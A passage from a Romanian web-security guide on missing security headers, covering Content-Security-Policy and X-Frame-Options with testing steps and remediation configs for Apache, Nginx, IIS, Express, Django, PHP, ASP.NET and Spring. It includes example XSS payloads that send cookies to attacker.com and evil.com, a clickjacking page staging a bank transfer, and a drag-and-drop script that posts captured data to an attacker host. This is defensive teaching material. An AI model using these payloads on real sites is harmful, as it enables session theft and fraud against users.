2. HEADER-URI DE SECURITATE LIPSĂ
Absența header-urilor de securitate reprezintă paradoxal cea mai răspândită categorie de vulnerabilități în aplicațiile web contemporane. Spre deosebire de vulnerabilitățile care rezultă din configurări eronate sau implementări defectuoase – care presupun cel puțin o conștientizare a problemei – lipsa completă a acestor mecanisme de protecție reflectă adesea o nepricepere fundamentală a modelului de amenințări web sau, și mai grav, o neglijență sistemică în procesul de dezvoltare și deployment. Această situație este cu atât mai problematică cu cât implementarea majorității header-urilor de securitate este trivială din punct de vedere tehnic: majoritatea pot fi adăugate printr-o singură linie de configurare la nivel de server sau middleware, fără a necesita modificări ale codului aplicațional.
Din perspectiva atacatorului, absența header-urilor de securitate echivalează cu o invitație deschisă: browser-ul va adopta comportamentul cel mai permisiv posibil, execuând orice script inline, încărcând resurse din surse arbitrare, permițând frame-ing și oferind acces nerestricționat la API-uri periculoase. Studiile de penetration testing demonstrează că timpul mediu de exploatare a unei aplicații fără Content-Security-Policy este de ordinul minutelor, comparativ cu ore sau zile pentru aplicații cu politici CSP bine configurate. În secțiunile următoare, vom analiza sistematic fiecare header critic lipsă, mecanismele de atac pe care le facilitează și, crucial, modalitățile concrete de remediere adaptate diferitelor contexte tehnologice.
2.1 Content-Security-Policy (CSP)
Natura vulnerabilității
Content-Security-Policy reprezintă cel mai puternic și comprehensiv mecanism de protecție împotriva atacurilor Cross-Site Scripting (XSS) și injection disponibil în ecosistemul web modern. Absența sa lasă aplicația complet vulnerabilă la executarea codului arbitrar injectat de atacatori, transformând orice vulnerabilitate XSS – fie ea reflected, stored sau DOM-based – într-o breșă de securitate critică cu potential de compromitere totală.
Mecanismul de protecție: CSP funcționează ca o whitelist declarativă care specifică browser-ului ce surse de conținut sunt legitime pentru aplicația ta. Fără acest header, browser-ul va executa orice JavaScript întâlnește, indiferent de origine sau context.
Impactul tehnic al absenței CSP
Atacuri posibile:
- Cross-Site Scripting (XSS) - Reflected
// URL malițios trimis victimei
https://aplicatie.ro/search?q=<script>
fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
// Fără CSP, scriptul se execută imediat
// Cu CSP corect, browser-ul blochează execuția
- Stored XSS - Persistență
// Atacatorul introduce în profil/comentariu
<img src=x onerror="
new Image().src='https://evil.com/log?'+document.cookie
">
// Fiecare utilizator care vizualizează conținutul devine victimă
- DOM-based XSS
// Cod vulnerabil în aplicație
document.getElementById('content').innerHTML = location.hash.substring(1);
// Exploatare
https://aplicatie.ro/#<img src=x onerror=alert(document.domain)>
- Injection de resurse externe malițioase
<!-- Atacatorul injectează -->
<script src="https://malicious-cdn.com/keylogger.js"></script>
<link rel="stylesheet" href="https://attacker.com/phishing-overlay.css">
Consecințe în cascadă:
- Session hijacking - Furt de cookies de autentificare
- Keylogging - Capturarea input-urilor utilizatorului
- Defacement - Modificarea vizuală a site-ului
- Phishing în context - Overlay-uri false de autentificare
- Cryptocurrency mining - Utilizarea resurselor browser-ului
- Propagare malware - Drive-by downloads
- Exfiltrare de date - Trimiterea informațiilor sensibile către servere externe
Metodologia de testare
Verificare rapidă - prezența header-ului:
curl -I https://aplicatie.ro | grep -i "content-security-policy"
# Dacă nu returnează nimic → VULNERABILITATE CRITICĂ
Test funcțional - încercare de injecție:
<!-- Creează fișier test.html local -->
<!DOCTYPE html>
<html>
<body>
<h1>Test CSP Absence</h1>
<!-- Încearcă să injectezi acest payload în orice input din aplicație -->
<script>alert('XSS Vulnerability - No CSP!')</script>
<!-- Sau acest variant -->
<img src=x onerror="alert('XSS via onerror')">
<!-- Test încărcare script extern -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
if (typeof jQuery !== 'undefined') {
alert('External scripts allowed - No CSP restriction');
}
</script>
</body>
</html>
Puncte de testare prioritare:
- ✅ Câmpuri de căutare
- ✅ Secțiuni de comentarii/review-uri
- ✅ Profile utilizatori (nume, bio, adresă)
- ✅ Formulare de contact
- ✅ URL parameters reflectate în pagină
- ✅ Upload de fișiere HTML/SVG
Tools automate:
# OWASP ZAP - Active Scan pentru XSS
# Burp Suite - Scanner va detecta automat absența CSP
# Script Python simplu pentru verificare
python3 << EOF
import requests
response = requests.get('https://aplicatie.ro')
if 'Content-Security-Policy' not in response.headers:
print("🔴 CRITICAL: CSP header missing!")
else:
print("✅ CSP present:", response.headers['Content-Security-Policy'])
EOF
```
---
### **Remediere - Configurare Content-Security-Policy**
#### **Strategia de implementare progresivă**
CSP poate fi intimidant la început din cauza complexității. Recomand o abordare în trei etape:
**ETAPA 1: CSP în modul Report-Only (fără blocare)**
```
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
```
Acest mod colectează violări fără a bloca efectiv conținut → identifici probleme fără a strica funcționalitatea.
**ETAPA 2: CSP restrictiv cu excepții documentate**
```
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.aplicatie.ro;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
```
**ETAPA 3: CSP strict cu nonce/hash (gold standard)**
```
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{RANDOM}';
style-src 'nonce-{RANDOM}';
img-src 'self';
connect-src 'self';
frame-ancestors 'none';
Configurări concrete per platformă
Apache (.htaccess sau httpd.conf):
<IfModule mod_headers.c>
# CSP de bază pentru aplicații standard
Header always set Content-Security-Policy "\
default-src 'self'; \
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com; \
style-src 'self' 'unsafe-inline'; \
img-src 'self' data: https:; \
font-src 'self' data:; \
connect-src 'self'; \
frame-ancestors 'self'; \
base-uri 'self'; \
form-action 'self';"
</IfModule>
# Pentru debugging - Report-Only mode
# Header always set Content-Security-Policy-Report-Only "..."
Nginx:
server {
# CSP pentru aplicații statice
add_header Content-Security-Policy "
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
" always;
# Locație pentru raportare CSP violations
location /csp-report {
# Log violations pentru analiză
access_log /var/log/nginx/csp-violations.log;
}
}
IIS (web.config):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy"
value="default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
Node.js / Express:
const helmet = require('helmet');
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
})
);
// Cu nonce dinamic (recomandat)
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
styleSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`]
}
})
);
// În template HTML
// <script nonce="<%= cspNonce %>">...</script>
Django (Python):
# settings.py
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'csp.middleware.CSPMiddleware',
# ... alte middleware
]
# Configurare CSP
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)
# Report-Only mode pentru testare
CSP_REPORT_ONLY = True
CSP_REPORT_URI = '/csp-report/'
PHP:
<?php
// La începutul fiecărui script sau în header.php comun
header("Content-Security-Policy: " .
"default-src 'self'; " .
"script-src 'self' 'unsafe-inline' https://cdn.example.com; " .
"style-src 'self' 'unsafe-inline'; " .
"img-src 'self' data: https:; " .
"font-src 'self'; " .
"connect-src 'self'; " .
"frame-ancestors 'self'; " .
"base-uri 'self'; " .
"form-action 'self';"
);
// Cu nonce dinamic (recomandat)
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: " .
"default-src 'self'; " .
"script-src 'self' 'nonce-{$nonce}'; " .
"style-src 'self' 'nonce-{$nonce}';"
);
// În HTML
// <script nonce="<?php echo $nonce; ?>">...</script>
?>
Directivele CSP esențiale - explicații detaliate
| Directivă | Scop | Recomandare |
|---|---|---|
| default-src | Fallback pentru toate directivele nespecificate | 'self' - permite doar resurse de pe același domeniu |
| script-src | Controlează sursele JavaScript | 'self' + whitelist CDN-uri de încredere. Evită 'unsafe-inline' și 'unsafe-eval' |
| style-src | Controlează CSS-ul | 'self' + eventual 'unsafe-inline' dacă framework-ul necesită |
| img-src | Controlează imaginile | 'self' data: https: - permite imagini locale, data URIs și HTTPS |
| connect-src | Controlează XHR, WebSocket, Fetch | 'self' + API endpoints externe necesare |
| font-src | Controlează font-urile | 'self' + Google Fonts dacă este folosit |
| frame-ancestors | Controlează unde poate fi iframe-ată pagina | 'none' sau 'self' - protecție clickjacking |
| base-uri | Controlează <base> tag |
'self' - previne base tag injection |
| form-action | Controlează destinațiile formularelor | 'self' - previne form hijacking |
| object-src | Controlează <object>, <embed>, <applet> |
'none' - dezactivează Flash și alte plugin-uri |
Strategii pentru eliminarea 'unsafe-inline'
Prezența 'unsafe-inline' în CSP reduce semnificativ protecția. Iată cum elimini această necesitate:
1. Externalizare scripts inline:
<!-- ❌ ÎNAINTE (necesită unsafe-inline) -->
<button onclick="doSomething()">Click</button>
<script>
function doSomething() { /* ... */ }
</script>
<!-- ✅ DUPĂ -->
<!-- În fișier extern app.js -->
document.querySelector('#myButton').addEventListener('click', doSomething);
<button id="myButton">Click</button>
<script src="/app.js"></script>
2. Utilizare nonce pentru scripturi inevitabil inline:
<!-- Server generează nonce unic per request -->
<!-- CSP: script-src 'self' 'nonce-r4nd0m123' -->
<script nonce="r4nd0m123">
// Acest script va fi permis
console.log('Inline script with nonce');
</script>
<script nonce="r4nd0m123" src="/analytics.js"></script>
3. Utilizare hash pentru conținut static:
<!-- Calculezi SHA-256 hash al scriptului -->
<!-- CSP: script-src 'self' 'sha256-abc123...' -->
<script>
console.log('Static inline script');
</script>
<!-- Browser verifică hash-ul înainte de execuție -->
# Generare hash pentru CSP
echo -n "console.log('Static inline script');" | openssl dgst -sha256 -binary | openssl base64
Monitoring și raportare CSP
Configurare endpoint de raportare:
// Node.js - endpoint pentru CSP reports
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// Log în sistem de monitoring
logger.warn('CSP violation', {
documentURI: req.body['csp-report']['document-uri'],
violatedDirective: req.body['csp-report']['violated-directive'],
blockedURI: req.body['csp-report']['blocked-uri'],
sourceFile: req.body['csp-report']['source-file'],
lineNumber: req.body['csp-report']['line-number']
});
res.status(204).send();
});
```
**CSP Header cu raportare:**
```
Content-Security-Policy:
default-src 'self';
script-src 'self';
report-uri /csp-report;
report-to csp-endpoint;
Report-To: {
"group": "csp-endpoint",
"max_age": 10886400,
"endpoints": [{"url": "https://aplicatie.ro/csp-report"}]
}
Exemplu raport CSP primit:
{
"csp-report": {
"document-uri": "https://aplicatie.ro/page",
"referrer": "",
"violated-directive": "script-src 'self'",
"effective-directive": "script-src",
"original-policy": "default-src 'self'; script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"status-code": 200,
"source-file": "https://aplicatie.ro/page",
"line-number": 42,
"column-number": 15
}
}
Checklist de validare CSP
După implementare, verifică:
- Header-ul CSP este prezent în toate răspunsurile HTML
- Aplicația funcționează complet (teste în browsere multiple)
- Nu există erori în console despre resurse blocate legitime
- Test manual de XSS eșuează (scripturile inline sunt blocate)
- Report-uri CSP sunt loggate și monitorizate
- Directive configurate pentru toate tipurile de resurse folosite
-
'unsafe-inline'și'unsafe-eval'sunt eliminate (sau planificate pentru eliminare) - CSP este testat cu tools specializate (CSP Evaluator de la Google)
Validare automată:
# Test rapid cu SecurityHeaders.com
curl "https://securityheaders.com/?q=https://aplicatie.ro&followRedirects=on"
# Sau cu Google CSP Evaluator
# https://csp-evaluator.withgoogle.com/
```
---
### **Provocări comune și soluții**
**Problema: "CSP blochează Google Analytics / ads / third-party scripts"**
**Soluție:**
```
Content-Security-Policy:
script-src 'self'
https://www.google-analytics.com
https://www.googletagmanager.com
https://pagead2.googlesyndication.com;
connect-src 'self'
https://www.google-analytics.com;
img-src 'self'
https://www.google-analytics.com
https://stats.g.doubleclick.net;
Problema: "Framework-ul meu (React/Vue/Angular) folosește eval()"
Soluție:
- Verifică dacă folosești build-ul de producție (nu development)
- Build-urile de producție moderne nu necesită
'unsafe-eval' - Dacă framework-ul vechi îl cere → consideră upgrade sau folosește nonce
Problema: "Am sute de scripturi inline în aplicație legacy"
Soluție treptată:
- Pornește cu CSP în Report-Only mode
- Analizează rapoartele 2-3 săptămâni
- Externalizează gradual scripturile cele mai critice
- Folosește nonce pentru restul până la refactoring complet
2.2 X-Frame-Options / Frame-Ancestors
Natura vulnerabilității
X-Frame-Options este un header de securitate care controlează dacă și cum poate fi încadrată (iframe-ată) o pagină web într-un context extern. Absența acestui header permite atacuri de tip clickjacking (UI redressing), în care atacatorul suprapune elemente vizuale peste interfața legitimă a aplicației tale, înșelând utilizatorii să efectueze acțiuni nedorite – de la aprobarea tranzacțiilor financiare până la modificarea setărilor de securitate sau partajarea de informații confidențiale.
Mecanismul de protecție: Header-ul instruiește browser-ul să refuze încărcarea paginii în contexte de frame controlate de alte domenii, prevenind astfel ca atacatorii să "împacheteze" aplicația ta într-o pagină malițioasă unde pot orchestra interacțiuni frauduloase.
Evoluția tehnologică: X-Frame-Options este un header mai vechi, acum parțial deprecat în favoarea directivei frame-ancestors din Content-Security-Policy, care oferă control mai granular. Cu toate acestea, X-Frame-Options rămâne relevant pentru compatibilitate cu browsere mai vechi și ca măsură de defense-in-depth.
Impactul tehnic al absenței X-Frame-Options
Atacuri posibile:
1. Clickjacking clasic - acțiuni nedorite
<!-- Pagina atacatorului: evil-site.com/trap.html -->
<!DOCTYPE html>
<html>
<head>
<style>
/* Iframe-ul aplicației tale, complet invizibil */
#targetFrame {
position: absolute;
width: 500px;
height: 500px;
opacity: 0.0; /* Complet transparent */
z-index: 2;
top: 100px;
left: 100px;
}
/* Interfață falsă atractivă deasupra */
#decoy {
position: absolute;
width: 500px;
height: 500px;
z-index: 1;
top: 100px;
left: 100px;
}
</style>
</head>
<body>
<h1>Câștigă un iPhone 15 GRATUIT!</h1>
<div id="decoy">
<button style="width:200px; height:50px; font-size:20px;">
Revendică Premiul! 🎁
</button>
</div>
<!-- Aplicația ta vulnerabilă încadrată invizibil -->
<iframe id="targetFrame" src="https://aplicatie.ro/transfer-bani">
</iframe>
<script>
// Atacatorul aliniază perfect iframe-ul invizibil
// astfel încât butonul "Confirmă Transfer" din aplicația ta
// să se suprapună exact peste butonul fals "Revendică Premiul"
// Victima crede că dă click pentru premiu
// De fapt dă click pe "Confirmă Transfer" din aplicația ta
</script>
</body>
</html>
Rezultat: Utilizatorul crede că participă la un concurs, dar de fapt autorizează un transfer bancar în aplicația ta.
2. Likejacking - manipulare social media
<!-- Atacatorul încadrează butonul "Like" de Facebook/LinkedIn -->
<iframe src="https://www.facebook.com/plugins/like.php?href=https://malicious-page.com"
style="opacity: 0; position: absolute; top: 50px; left: 100px;">
</iframe>
<div style="position: absolute; top: 50px; left: 100px;">
<button>Descarcă Fișierul</button>
</div>
<!-- Victima crede că descarcă ceva, dar dă Like la o pagină malițioasă -->
3. Cursorjacking - manipulare cursor
<style>
/* Ascunde cursorul real */
* { cursor: none !important; }
/* Cursor fals poziționat cu offset */
#fakeCursor {
position: absolute;
width: 20px;
height: 20px;
pointer-events: none;
}
</style>
<img id="fakeCursor" src="/cursor.png">
<iframe src="https://aplicatie.ro/delete-account"
style="opacity: 0.01; position: absolute;">
</iframe>
<script>
// Cursorul fals urmărește mouse-ul cu offset
// Utilizatorul crede că dă click într-un loc,
// dar de fapt dă click în alt loc în iframe
document.addEventListener('mousemove', (e) => {
document.getElementById('fakeCursor').style.left = (e.pageX + 50) + 'px';
document.getElementById('fakeCursor').style.top = (e.pageY + 50) + 'px';
});
</script>
4. Drag & Drop jacking - exfiltrare date
<!-- Atacatorul încadrează aplicația ta unde sunt date sensibile -->
<iframe src="https://aplicatie.ro/confidential-dashboard"
style="opacity: 0; position: absolute; z-index: 999;">
</iframe>
<div id="dropZone" style="width: 300px; height: 200px; border: 2px dashed #ccc;">
<p>Trage fișierul aici pentru upload rapid!</p>
</div>
<script>
document.getElementById('dropZone').addEventListener('drop', (e) => {
// Victima trage "fișierul" (de fapt text din aplicația ta iframe-ată)
// Atacatorul capturează datele
const data = e.dataTransfer.getData('text');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ stolen: data })
});
});
</script>
Consecințe specifice în aplicații reale:
- Banking/Fintech: Autorizare transferuri, modificare beneficiari
- E-commerce: Plasare comenzi, modificare adresă livrare
- Social Media: Like, share, follow conturi malițioase
- Corporate Apps: Aprobare documente, acordare permisiuni
- Email/Cloud Storage: Partajare documente confidențiale
- Admin Panels: Creare utilizatori, modificare setări de securitate
Metodologia de testare
Verificare rapidă - prezența header-ului:
curl -I https://aplicatie.ro | grep -i "x-frame-options"
curl -I https://aplicatie.ro | grep -i "content-security-policy" | grep "frame-ancestors"
# Dacă AMBELE lipsesc → VULNERABILITATE HIGH/CRITICAL
Test funcțional - încercare de frame-ing:
Metoda 1: Test local cu HTML
<!-- Salvează ca test-clickjacking.html și deschide în browser -->
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Test</title>
<style>
iframe {
border: 2px solid red;
width: 100%;
height: 600px;
}
</style>
</head>
<body>
<h1>Test Clickjacking Vulnerability</h1>
<p>Încearcă să încadrezi aplicația ta:</p>
<!-- Înlocuiește cu URL-ul aplicației tale -->
<iframe src="https://aplicatie.ro"></iframe>
<div id="result"></div>
<script>
const iframe = document.querySelector('iframe');
iframe.addEventListener('load', () => {
try {
// Încearcă să accesezi conținutul iframe-ului
const doc = iframe.contentDocument || iframe.contentWindow.document;
document.getElementById('result').innerHTML =
'<p style="color: red;">❌ VULNERABIL: Pagina poate fi iframe-ată!</p>';
} catch (e) {
// Eroare = protecție activă
document.getElementById('result').innerHTML =
'<p style="color: green;">✅ PROTEJAT: X-Frame-Options funcționează</p>';
}
});
// Timeout pentru cazul în care încărcarea e blocată complet
setTimeout(() => {
if (!iframe.contentWindow) {
document.getElementById('result').innerHTML =
'<p style="color: green;">✅ PROTEJAT: Frame complet blocat</p>';
}
}, 5000);
</script>
</body>
</html>
Metoda 2: Browser Developer Tools
// În Console (DevTools) pe un site extern
const iframe = document.createElement('iframe');
iframe.src = 'https://aplicatie.ro';
document.body.appendChild(iframe);
// Verifică în Console dacă primești eroare de tipul:
// "Refused to display 'https://aplicatie.ro' in a frame because it set 'X-Frame-Options' to 'deny'."
// Dacă iframe-ul se încarcă fără erori → VULNERABIL
Metoda 3: Tools online
# Verificare cu SecurityHeaders.com
curl -s "https://securityheaders.com/?q=https://aplicatie.ro&hide=on&followRedirects=on" | grep -i frame
# Sau manual accesează:
# https://securityheaders.com/?q=https://aplicatie.ro
Puncte de testare prioritare:
- ✅ Pagini de autentificare (login, register)
- ✅ Pagini cu acțiuni sensibile (transfer bani, ștergere cont, aprobare acces)
- ✅ Dashboard-uri cu informații confidențiale
- ✅ Formulare de plată/checkout
- ✅ Pagini cu butoane sociale (like, share, follow)
- ✅ Pagini de administrare
Test automatizat cu Python:
import requests
def check_frame_protection(url):
try:
response = requests.get(url, timeout=10)
headers = response.headers
vulnerabilities = []
# Verifică X-Frame-Options
if 'X-Frame-Options' not in headers:
vulnerabilities.append("X-Frame-Options header missing")
else:
xfo_value = headers['X-Frame-Options'].upper()
if xfo_value not in ['DENY', 'SAMEORIGIN']:
vulnerabilities.append(f"X-Frame-Options value weak: {xfo_value}")
# Verifică CSP frame-ancestors
if 'Content-Security-Policy' in headers:
csp = headers['Content-Security-Policy']
if 'frame-ancestors' not in csp.lower():
vulnerabilities.append("CSP present but frame-ancestors not configured")
else:
vulnerabilities.append("Content-Security-Policy header missing")
if vulnerabilities:
print(f"🔴 {url} - VULNERABIL:")
for vuln in vulnerabilities:
print(f" - {vuln}")
return False
else:
print(f"✅ {url} - PROTEJAT")
return True
except Exception as e:
print(f"⚠️ Error checking {url}: {e}")
return None
# Test
urls = [
'https://aplicatie.ro',
'https://aplicatie.ro/login',
'https://aplicatie.ro/dashboard'
]
for url in urls:
check_frame_protection(url)
Remediere - Configurare X-Frame-Options și frame-ancestors
Opțiuni de configurare X-Frame-Options
Header-ul X-Frame-Options acceptă trei valori:
| Valoare | Efect | Când se folosește |
|---|---|---|
| DENY | Pagina NU poate fi încadrată deloc, nici măcar de același site | Pagini cu acțiuni critice (autentificare, plăți, admin) |
| SAMEORIGIN | Pagina poate fi încadrată doar de pagini de pe același domeniu | Aplicații care folosesc iframe-uri interne legitime |
| ALLOW-FROM uri | ⚠️ DEPRECATED - Pagina poate fi încadrată doar de URI specificat | NU MAI FOLOSI - suport browser limitat |
Recomandare generală:
- DENY pentru 90% din cazuri
- SAMEORIGIN doar dacă ai nevoie legitimă de iframe-uri interne
- Migrează către CSP
frame-ancestorspentru control granular
Configurări concrete per platformă
Apache (.htaccess sau httpd.conf):
<IfModule mod_headers.c>
# Varianta 1: DENY total (recomandat pentru majoritatea aplicațiilor)
Header always set X-Frame-Options "DENY"
# Varianta 2: SAMEORIGIN (pentru aplicații cu iframe-uri interne)
# Header always set X-Frame-Options "SAMEORIGIN"
# BONUS: Adaugă și CSP frame-ancestors pentru protecție modernă
Header always set Content-Security-Policy "frame-ancestors 'none'"
# Sau pentru SAMEORIGIN echivalent:
# Header always set Content-Security-Policy "frame-ancestors 'self'"
</IfModule>
# Configurare condiționată per locație
<Location /public-embed>
# Permite iframe-ing pentru anumite secțiuni
Header always set X-Frame-Options "SAMEORIGIN"
</Location>
<Location /admin>
# Protecție maximă pentru admin
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none'"
</Location>
Nginx:
server {
listen 443 ssl;
server_name aplicatie.ro;
# Configurare globală pentru tot site-ul
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;
# Configurare specifică pentru anumite locații
location /public-widget {
# Permite iframe doar de pe același domeniu
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "frame-ancestors 'self'" always;
}
location /embed-partners {
# Permite iframe de pe domenii specifice (doar prin CSP)
add_header Content-Security-Policy "frame-ancestors 'self' https://partner1.com https://partner2.com" always;
# X-Frame-Options nu suportă whitelist, deci fie îl omitem fie folosim DENY
add_header X-Frame-Options "DENY" always;
}
location ~ ^/(login|admin|checkout) {
# Protecție maximă pentru endpoint-uri sensibile
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;
}
}
IIS (web.config):
<system.webServer>
<httpProtocol>
<customHeaders>
<!-- Configurare globală -->
<add name="X-Frame-Options" value="DENY" />
<!-- SAU pentru SAMEORIGIN -->
<!-- <add name="X-Frame-Options" value="SAMEORIGIN" /> -->
<!-- Adaugă și CSP pentru protecție modernă -->
<add name="Content-Security-Policy" value="frame-ancestors 'none'" />
</customHeaders>
</httpProtocol>
<!-- Configurare per locație -->
<location path="public-embed">
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-Frame-Options" />
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
</system.webServer>
</location>
</system.webServer>
Node.js / Express:
const helmet = require('helmet');
// Varianta 1: Folosind Helmet (recomandat)
app.use(helmet.frameguard({ action: 'deny' }));
// SAU pentru SAMEORIGIN
// app.use(helmet.frameguard({ action: 'sameorigin' }));
// Varianta 2: Manual
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
next();
});
// Configurare avansată - diferită per rută
app.get('/public-embed', (req, res, next) => {
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
next();
});
app.get('/partner-embed', (req, res, next) => {
// Whitelist domenii partenere (doar prin CSP)
res.setHeader('Content-Security-Policy',
"frame-ancestors 'self' https://partner1.com https://partner2.com");
next();
});
// Protecție strictă pentru rute sensibile
const strictFrameProtection = (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
next();
};
app.use('/login', strictFrameProtection);
app.use('/admin', strictFrameProtection);
app.use('/checkout', strictFrameProtection);
Django (Python):
# settings.py
# Varianta 1: Setare globală
X_FRAME_OPTIONS = 'DENY'
# SAU
# X_FRAME_OPTIONS = 'SAMEORIGIN'
# Adaugă middleware pentru X-Frame-Options
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware', # Acest middleware
# ... alte middleware
]
# Configurare CSP frame-ancestors
CSP_FRAME_ANCESTORS = ("'none'",)
# SAU pentru SAMEORIGIN echivalent:
# CSP_FRAME_ANCESTORS = ("'self'",)
# Varianta 2: Per-view cu decorator
from django.views.decorators.clickjacking import xframe_options_deny, xframe_options_sameorigin
@xframe_options_deny
def sensitive_view(request):
# Această view nu poate fi iframe-ată
return render(request, 'sensitive.html')
@xframe_options_sameorigin
def internal_embed_view(request):
# Această view poate fi iframe-ată doar de același site
return render(request, 'embed.html')
# Varianta 3: Exceptare anumite view-uri de la protecție globală
from django.views.decorators.clickjacking import xframe_options_exempt
@xframe_options_exempt
def public_widget_view(request):
# Această view poate fi iframe-ată de oricine
# ATENȚIE: Folosește doar pentru widgeturi publice non-sensibile
return render(request, 'widget.html')
PHP:
<?php
// Varianta 1: La începutul fiecărui script sau în header.php comun
header("X-Frame-Options: DENY");
header("Content-Security-Policy: frame-ancestors 'none'");
// SAU pentru SAMEORIGIN
// header("X-Frame-Options: SAMEORIGIN");
// header("Content-Security-Policy: frame-ancestors 'self'");
// Varianta 2: Configurare condiționată
function setFrameProtection($mode = 'deny') {
switch ($mode) {
case 'deny':
header("X-Frame-Options: DENY");
header("Content-Security-Policy: frame-ancestors 'none'");
break;
case 'sameorigin':
header("X-Frame-Options: SAMEORIGIN");
header("Content-Security-Policy: frame-ancestors 'self'");
break;
case 'allow':
// Nu seta header-uri - permite iframe-ing
// ATENȚIE: Folosește doar pentru widgeturi publice
break;
}
}
// În pagini sensibile
if (strpos($_SERVER['REQUEST_URI'], '/login') !== false ||
strpos($_SERVER['REQUEST_URI'], '/admin') !== false) {
setFrameProtection('deny');
} else {
setFrameProtection('sameorigin');
}
?>
<!-- SAU cu .htaccess (vezi secțiunea Apache mai sus) -->
ASP.NET (C#):
// Varianta 1: Global în Global.asax.cs
protected void Application_BeginRequest(object sender, EventArgs e)
{
Response.AddHeader("X-Frame-Options", "DENY");
Response.AddHeader("Content-Security-Policy", "frame-ancestors 'none'");
}
// Varianta 2: În Web.config (vezi secțiunea IIS)
// Varianta 3: Per-action cu custom attribute
public class FrameOptionsAttribute : ActionFilterAttribute
{
private readonly string _option;
public FrameOptionsAttribute(string option = "DENY")
{
_option = option;
}
public override void OnResultExecuting(ResultExecutingContext filterContext)
{
filterContext.HttpContext.Response.AddHeader("X-Frame-Options", _option);
string cspValue = _option == "DENY" ? "frame-ancestors 'none'" : "frame-ancestors 'self'";
filterContext.HttpContext.Response.AddHeader("Content-Security-Policy", cspValue);
base.OnResultExecuting(filterContext);
}
}
// Utilizare în controller
[FrameOptions("DENY")]
public ActionResult Login()
{
return View();
}
[FrameOptions("SAMEORIGIN")]
public ActionResult PublicWidget()
{
return View();
}
Spring Boot (Java):
// Varianta 1: Configurare în SecurityConfig
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.frameOptions().deny() // SAU .sameOrigin()
.contentSecurityPolicy("frame-ancestors 'none'"); // SAU 'self'
}
}
// Varianta 2: Configurare diferențiată per endpoint
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/public-embed/**").permitAll()
.anyRequest().authenticated()
.and()
.headers()
.frameOptions().deny()
.contentSecurityPolicy("frame-ancestors 'none'");
// Pentru /public-embed vei avea un filter separat
}
@Bean
public FilterRegistrationBean<EmbedFrameOptionsFilter> embedFilter() {
FilterRegistrationBean<EmbedFrameOptionsFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new EmbedFrameOptionsFilter());
registrationBean.addUrlPatterns("/public-embed/*");
return registrationBean;
}
}
// Filter custom pentru endpoint-uri cu setări diferite
public class EmbedFrameOptionsFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpResponse.setHeader("X-Frame-Options", "SAMEORIGIN");
httpResponse.setHeader("Content-Security-Policy", "frame-ancestors 'self'");
